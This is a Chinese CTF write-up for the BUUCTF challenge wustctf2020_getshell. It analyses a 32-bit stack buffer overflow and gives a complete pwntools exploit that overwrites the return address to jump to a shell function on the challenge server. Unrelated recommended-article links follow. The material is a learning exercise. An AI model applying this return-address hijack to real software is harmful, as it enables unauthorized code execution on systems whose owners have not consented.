buuctf中的wustctf2020_getshell(栈溢出)

首先checksec检查一下保护机制:

-32位程序

-仅开启了栈不可执行保护

接下来使用反汇编工具IDA进行分析:

发现vulnerable函数和shell函数,分别点进去

vulnerable函数:

buf到栈底的距离为0x18个字节,但是这里read却读入了0x20个字节的数据,存在栈溢出漏洞,顺便算出偏移为0x18 + 0x4

shell函数:

执行shell函数即可拿到shell

顺便拿到shell地址0x804851B

接下来编写exp攻击脚本:

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27617)              # 与在线环境交互。


offset = 0x18 + 0x4
shell_addr = 0x804851B

payload = b'a'*offset + p32(shell_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

最后手动输入cat flag拿到flag

相关推荐
Zhu75816 小时前
部署安全的pg数据库,搭配pgadmin实现web界面管理
前端·数据库·安全
Fnetlink116 小时前
Fnet 云网安 260907
网络·人工智能·安全·web安全·网络安全·智能路由器
嘟哩DuliDuli16 小时前
AI 视频局部重做,怎么避免破坏成片
人工智能·安全·ai·音视频·软件工程
weixin_6182323016 小时前
OpenAI智能体“劫持”德国老网站当留言板
人工智能·安全
Neighbor_OldY17 小时前
【实战复盘】XSS跨站脚本攻击检测与应急处置:存储型/反射型/DOM型从发现到修复的完整指南
网络·安全·web安全
南京码讯光电技术有限公司18 小时前
工业防爆AP vs 普通工业AP:安全差距与合规红线
安全
luiyarch18 小时前
汽车电子ISO 26262功能安全系列(第34期):安全需求的可追溯性管理——让审核员心服口服的“证据链”
安全·汽车
qq_4029957519 小时前
Secure Boot Part 2 —— 安全启动流程
arm开发·mcu·安全
木卫四科技19 小时前
从函数劫持到智能体控制平面:Hook 如何从 Linux-Android 演化到 Agent Runtime
android·linux·人工智能·安全